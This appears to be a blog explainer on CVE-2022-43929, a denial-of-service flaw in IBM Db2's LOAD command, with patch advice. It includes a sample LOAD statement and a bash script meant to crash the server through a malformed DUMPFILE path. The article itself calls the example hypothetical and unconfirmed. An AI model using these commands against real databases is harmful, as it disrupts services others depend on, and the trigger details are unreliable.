In late 2022, security researchers uncovered a Denial of Service (DoS) vulnerability in IBM Db2 for Linux, UNIX, and Windows versions 11.1 and 11.5. Tracked as CVE-2022-43929, this exploit takes advantage of the way the database handles the LOAD command.

In this article, I’ll break down what you need to know about this vulnerability, show a sample exploit script, and share official resources. By the end, you’ll understand the risk and how to protect your databases.

IBM X-Force ID: 241676

Impact:  
A remote, authenticated attacker can crash the Db2 server by sending a malformed LOAD command, causing service disruption and potentially impacting availability of applications that depend on Db2.

How the Vulnerability Works

The Db2 LOAD command is typically used by database admins to import data from external files into tables. However, there’s a logic error in the way certain versions of Db2 process malformed or incomplete parameters. By exploiting this bug, an attacker can force the database server process to enter a faulty state, leading to a crash.

Demonstration: Exploiting the 'LOAD' Command

Disclaimer:  
This is for educational awareness only. Do not run this code on any production or unauthorized system.

Let’s see a hypothetical example using the command line Db2 client

-- This 'LOAD' command uses a crafted filename parameter (e.g., invalid pointer, malformed string)
LOAD FROM '/dev/null' OF DEL REPLACE INTO mytable (column1, column2)
MODIFIED BY COLDEL@ DUMPFILE '/dev/NoSuchFile-%s' SAVECOUNT NONE

Or, as a shell script using the db2 CLI tool

#!/bin/bash
# Replace USER, PASSWORD, and DATABASE with your values

db2 connect to DATABASE user USER using PASSWORD

# Intentionally malformed LOAD command (could trigger the vulnerability)
db2 "LOAD FROM 'nonexistent.csv' OF DEL REPLACE INTO sensitive_table (id, data) MODIFIED BY DUMPFILE '/tmp/invalidpath/%s'"

db2 connect reset

What This Does:
The crafted DUMPFILE modifier injects a bad file path. The vulnerable Db2 versions don’t handle this properly, which leads to memory errors and a process crash.

IBM Security Bulletin:

- IBM Db2 Denial of Service Vulnerability (CVE-2022-43929)

NVD Entry:

- https://nvd.nist.gov/vuln/detail/CVE-2022-43929

IBM X-Force Database:

- X-Force ID: 241676

Update Db2 Immediately:

IBM fixed this vulnerability in later versions. Apply the recommended fix pack or update ASAP.

Summary

CVE-2022-43929 isn’t a remote code execution or data leakage bug, but it can disrupt your business by crashing your critical Db2 services. Always patch systems promptly and restrict sensitive commands.

I hope this simple explanation gives you the understanding and tools you need to keep your Db2 deployment secure!

Need More Info?

- Official IBM Support Page for CVE-2022-43929
- NVD Vulnerability Entry
- X-Force Analysis

*Stay vigilant, patch early, and limit unnecessary privileges!*

Timeline

Published on: 02/17/2023 17:15:00 UTC
Last modified on: 02/25/2023 03:20:00 UTC